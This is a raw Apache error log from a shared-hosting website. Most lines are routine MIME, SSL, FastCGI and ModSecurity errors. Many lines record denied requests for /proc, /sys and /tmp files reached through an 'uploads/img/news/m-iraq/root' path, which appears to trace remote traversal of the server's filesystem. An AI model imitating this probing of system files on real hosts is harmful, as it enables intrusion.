[Fri Jul 17 09:19:40.140209 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:59354] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:40.145142 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/fd/5
[Fri Jul 17 09:19:40.304865 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:40.375401 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:40.555631 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:59408] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:41.012258 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:41.219015 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/16-0/instance
[Fri Jul 17 09:19:41.245009 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu1/subsystem/uevent
[Fri Jul 17 09:19:41.421196 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:41.820823 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:41.879687 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:41.984933 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:42.128504 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.195082 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.295641 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.700547 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.704407 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almmVroj0IkvhSCYadmGNAAAAAQ"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:19:42.704560 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almmVroj0IkvhSCYadmGNAAAAAQ"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:19:42.802856 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.802940 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.802976 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803017 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803071 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803104 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803167 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803193 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803212 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803230 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803321 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803433 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803450 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803470 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803487 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803503 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803520 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803536 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803666 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803687 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803704 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803720 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803751 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803779 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:42.803808 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:43.215825 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:43.296095 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:43.561449 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:43.587866 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:43.608021 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:43.621829 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:43.736723 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:44.024189 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:44.134786 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:44.234468 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:44.336792 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:19/subsystem/drivers/button/bind
[Fri Jul 17 09:19:44.538255 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:44.646301 2026] [core:error] [pid 2030774:tid 2030774] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/arp
[Fri Jul 17 09:19:44.761649 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/hid/drivers/magicmouse/unbind
[Fri Jul 17 09:19:45.055382 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:45.138581 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:45.227523 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:45.281088 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:45.359888 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:45.573461 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:45.674182 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:45.795710 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:45.885169 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:45.990277 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:46.194414 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:08/subsystem/drivers/button/bind
[Fri Jul 17 09:19:46.298425 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/32-0/instance
[Fri Jul 17 09:19:46.400925 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/3-0/instance
[Fri Jul 17 09:19:46.708863 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:46.804691 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/firmware/dmi/entries/4-0/instance
[Fri Jul 17 09:19:46.906737 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:46.907016 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-chronyd.service-NoTpVf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-chronyd.service-NoTpVf/' is executable
[Fri Jul 17 09:19:46.907067 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php74-php-fpm.service-jN7693/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php74-php-fpm.service-jN7693/' is executable
[Fri Jul 17 09:19:46.907095 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/eZllNG_bqP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/eZllNG_bqP/' is executable
[Fri Jul 17 09:19:46.907130 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-imunify-agent-proxy.service-JX9arj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-imunify-agent-proxy.service-JX9arj/' is executable
[Fri Jul 17 09:19:46.907159 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php81-php-fpm.service-DgmCYw/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php81-php-fpm.service-DgmCYw/' is executable
[Fri Jul 17 09:19:46.907186 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php74-php-fpm.service-egcYVH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php74-php-fpm.service-egcYVH/' is executable
[Fri Jul 17 09:19:46.907211 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-e9me8dae/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-e9me8dae/' is executable
[Fri Jul 17 09:19:46.907244 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-dv8g5dqa/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-dv8g5dqa/' is executable
[Fri Jul 17 09:19:46.907269 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php73-php-fpm.service-SrpwfG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php73-php-fpm.service-SrpwfG/' is executable
[Fri Jul 17 09:19:46.907341 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/1dEvupDNH8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/1dEvupDNH8/' is executable
[Fri Jul 17 09:19:46.907424 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/ubJ3wxJgBF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/ubJ3wxJgBF/' is executable
[Fri Jul 17 09:19:46.907453 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/eYls70dkKl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/eYls70dkKl/' is executable
[Fri Jul 17 09:19:46.907478 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-chronyd.service-P9oaii/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-chronyd.service-P9oaii/' is executable
[Fri Jul 17 09:19:46.907504 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-77c8jwdh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-77c8jwdh/' is executable
[Fri Jul 17 09:19:46.907530 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pgny7IWEJR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pgny7IWEJR/' is executable
[Fri Jul 17 09:19:46.907570 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php74-php-fpm.service-hJkJ1U/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php74-php-fpm.service-hJkJ1U/' is executable
[Fri Jul 17 09:19:46.907606 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-bw06fqh_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-bw06fqh_/' is executable
[Fri Jul 17 09:19:46.907632 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/D7tgNEeOD6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/D7tgNEeOD6/' is executable
[Fri Jul 17 09:19:46.907655 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-acvjv950/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-acvjv950/' is executable
[Fri Jul 17 09:19:46.907681 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php72-php-fpm.service-U0HGxl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php72-php-fpm.service-U0HGxl/' is executable
[Fri Jul 17 09:19:46.907707 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-46y5hr8i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-46y5hr8i/' is executable
[Fri Jul 17 09:19:46.907733 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-chronyd.service-022DTy/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-chronyd.service-022DTy/' is executable
[Fri Jul 17 09:19:46.907758 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-0s37tiaz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-0s37tiaz/' is executable
[Fri Jul 17 09:19:46.907786 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php74-php-fpm.service-nUH1qb/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php74-php-fpm.service-nUH1qb/' is executable
[Fri Jul 17 09:19:46.907813 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php73-php-fpm.service-3p9MYJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php73-php-fpm.service-3p9MYJ/' is executable
[Fri Jul 17 09:19:46.907867 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-goiec1z7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-goiec1z7/' is executable
[Fri Jul 17 09:19:46.907896 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php73-php-fpm.service-QA4YCW/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php73-php-fpm.service-QA4YCW/' is executable
[Fri Jul 17 09:19:46.907922 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php83-php-fpm.service-DCzrrs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php83-php-fpm.service-DCzrrs/' is executable
[Fri Jul 17 09:19:46.907947 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php83-php-fpm.service-UzXMBz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php83-php-fpm.service-UzXMBz/' is executable
